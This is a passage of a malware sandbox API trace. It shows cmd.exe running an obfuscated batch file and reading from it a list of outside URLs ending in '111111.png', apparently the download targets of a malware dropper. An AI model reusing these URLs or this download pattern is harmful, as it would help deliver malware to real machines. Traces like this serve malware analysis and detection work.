lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0228.789] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0228.789] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0228.799] ??_V@YAXPEAX@Z () returned 0x1 [0228.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.800] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0228.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.800] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0228.801] _get_osfhandle (_FileHandle=0) returned 0x4c [0228.801] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0228.801] SetConsoleInputExeNameW () returned 0x1 [0228.801] GetConsoleOutputCP () returned 0x1b5 [0228.802] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0228.802] SetThreadUILanguage (LangId=0x0) returned 0x409 [0228.803] ??_V@YAXPEAX@Z () returned 0x1 [0228.804] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0228.804] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0228.804] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.804] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3527, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc7 [0228.804] GetProcessHeap () returned 0x20b0f920000 [0228.804] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0228.804] GetProcessHeap () returned 0x20b0f920000 [0228.804] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0228.805] GetProcessHeap () returned 0x20b0f920000 [0228.805] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0228.805] GetProcessHeap () returned 0x20b0f920000 [0228.805] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0228.806] GetProcessHeap () returned 0x20b0f920000 [0228.806] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9574b0) returned 1 [0228.806] GetProcessHeap () returned 0x20b0f920000 [0228.806] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0228.806] GetProcessHeap () returned 0x20b0f920000 [0228.806] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0228.806] GetProcessHeap () returned 0x20b0f920000 [0228.807] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0228.807] GetProcessHeap () returned 0x20b0f920000 [0228.807] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0228.807] GetProcessHeap () returned 0x20b0f920000 [0228.807] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0228.808] GetProcessHeap () returned 0x20b0f920000 [0228.808] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0228.808] GetProcessHeap () returned 0x20b0f920000 [0228.808] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0228.808] GetProcessHeap () returned 0x20b0f920000 [0228.808] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0228.808] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.808] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc7 [0228.808] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x9ee, lpOverlapped=0x0) returned 1 [0228.808] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3618, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe22 [0228.808] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0228.808] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.808] GetFileType (hFile=0x9c) returned 0x1 [0228.808] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.808] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe22 [0228.809] GetProcessHeap () returned 0x20b0f920000 [0228.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0228.809] GetProcessHeap () returned 0x20b0f920000 [0228.809] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0228.809] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0228.809] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0228.809] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0228.809] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0228.809] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0228.809] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0228.809] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0228.809] GetProcessHeap () returned 0x20b0f920000 [0228.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0228.810] GetProcessHeap () returned 0x20b0f920000 [0228.810] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0228.810] GetProcessHeap () returned 0x20b0f920000 [0228.810] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f926ea0 [0228.810] _tell (_FileHandle=3) returned 3618 [0228.810] _close (_FileHandle=3) returned 0 [0228.810] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0228.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.810] GetFileType (hFile=0x50) returned 0x2 [0228.810] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.810] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0228.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.811] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0228.819] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0228.821] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0228.821] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0228.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.821] GetFileType (hFile=0x50) returned 0x2 [0228.821] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.821] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0228.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.822] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0228.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.849] GetFileType (hFile=0x50) returned 0x2 [0228.849] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.849] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0228.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.850] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0228.850] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0228.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.850] GetFileType (hFile=0x50) returned 0x2 [0228.850] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.850] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0228.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.851] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0228.851] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0229.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0229.456] GetFileType (hFile=0x50) returned 0x2 [0229.457] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0229.457] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0229.462] _get_osfhandle (_FileHandle=1) returned 0x50 [0229.462] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0229.466] malloc (_Size=0xffce) returned 0x20b0fa60940 [0229.467] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0229.467] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0229.467] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0229.467] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0229.467] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0229.467] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0229.467] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0229.467] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0229.467] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0229.468] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0229.468] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0229.468] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0229.468] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0229.468] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0229.468] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0229.468] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0229.468] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0229.468] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0229.468] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0229.468] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0229.468] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0229.468] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0229.468] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0229.468] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0229.468] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0229.468] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0229.468] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0229.468] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0229.468] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0229.468] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0229.468] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0229.468] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0229.468] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0229.468] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0229.468] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0229.468] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0229.468] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0229.468] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0229.468] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0229.469] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0229.469] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0229.469] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0229.469] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0229.469] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0229.469] malloc (_Size=0xffce) returned 0x20b0fa70920 [0229.469] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0229.469] GetProcessHeap () returned 0x20b0f920000 [0229.469] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0229.472] SetErrorMode (uMode=0x0) returned 0x0 [0229.473] SetErrorMode (uMode=0x1) returned 0x0 [0229.473] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0229.473] SetErrorMode (uMode=0x0) returned 0x1 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0229.473] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0229.473] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0229.473] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956ac0 [0229.473] GetProcessHeap () returned 0x20b0f920000 [0229.473] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956ac0) returned 0x7e [0229.473] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0229.808] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0229.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.809] GetLastError () returned 0x2 [0229.809] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.809] GetLastError () returned 0x2 [0229.809] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.809] GetLastError () returned 0x2 [0229.809] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.809] GetLastError () returned 0x2 [0229.809] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.810] GetLastError () returned 0x2 [0229.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.810] GetLastError () returned 0x2 [0229.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.810] GetLastError () returned 0x2 [0229.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.810] GetLastError () returned 0x2 [0229.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.811] GetLastError () returned 0x2 [0229.811] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.811] GetLastError () returned 0x2 [0229.811] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.811] GetLastError () returned 0x2 [0229.811] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.811] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.811] GetLastError () returned 0x2 [0229.811] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0229.812] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0229.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.812] GetLastError () returned 0x2 [0229.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.812] GetLastError () returned 0x2 [0229.812] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.812] GetLastError () returned 0x2 [0229.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.813] GetLastError () returned 0x2 [0229.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.813] GetLastError () returned 0x2 [0229.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.813] GetLastError () returned 0x2 [0229.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.813] GetLastError () returned 0x2 [0229.813] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.814] GetLastError () returned 0x2 [0229.814] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.814] GetLastError () returned 0x2 [0229.814] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.814] GetLastError () returned 0x2 [0229.814] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.814] GetLastError () returned 0x2 [0229.814] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.814] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.815] GetLastError () returned 0x2 [0229.816] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.816] GetLastError () returned 0x2 [0229.816] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.816] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0229.816] GetLastError () returned 0x2 [0229.817] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0229.817] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 